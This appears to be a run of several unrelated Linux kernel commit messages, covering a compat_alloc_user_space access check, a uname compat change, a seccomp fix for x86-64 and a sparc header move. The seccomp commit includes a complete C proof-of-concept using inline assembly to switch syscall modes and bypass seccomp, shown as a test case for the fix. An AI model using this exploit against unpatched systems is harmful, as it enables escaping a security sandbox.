compat_alloc_user_space() expects the caller to independently call
access_ok() to verify the returned area. A missing call could
introduce problems on some architectures.
This patch incorporates the access_ok() check into
compat_alloc_user_space() and also adds a sanity check on the length.
The existing compat_alloc_user_space() implementations are renamed
arch_compat_alloc_user_space() and are used as part of the
implementation of the new global function.
This patch assumes NULL will cause __get_user()/__put_user() to either
fail or access userspace on all architectures. This should be
followed by checking the return value of compat_access_user_space()
for NULL in the callers, at which time the access_ok() in the callers
can also be removed.
Reported-by: Ben Hawkes <hawkes@sota.gen.nz>
Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Acked-by: Chris Metcalf <cmetcalf@tilera.com>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Ingo Molnar <mingo@elte.hu>
Acked-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Tony Luck <tony.luck@intel.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
Cc: James Bottomley <jejb@parisc-linux.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: <stable@kernel.org>
On an architecture that supports 32-bit compat we need to override the
reported machine in uname with the 32-bit value. Instead of doing this
separately in every architecture introduce a COMPAT_UTS_MACHINE define in
<asm/compat.h> and apply it directly in sys_newuname().
Signed-off-by: Christoph Hellwig <hch@lst.de>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Hirokazu Takata <takata@linux-m32r.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: "Luck, Tony" <tony.luck@intel.com>
Cc: James Morris <jmorris@namei.org>
Cc: Andreas Schwab <schwab@linux-m68k.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
The majority of this patch was created by the following script:
***
ASM=arch/sparc/include/asm
mkdir -p $ASM
git mv include/asm-sparc64/ftrace.h $ASM
git rm include/asm-sparc64/*
git mv include/asm-sparc/* $ASM
sed -ie 's/asm-sparc64/asm/g' $ASM/*
sed -ie 's/asm-sparc/asm/g' $ASM/*
***
The rest was an update of the top-level Makefile to use sparc
for header files when sparc64 is being build.
And a small fixlet to pick up the correct unistd.h from
sparc64 code.
Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
H. Peter Anvin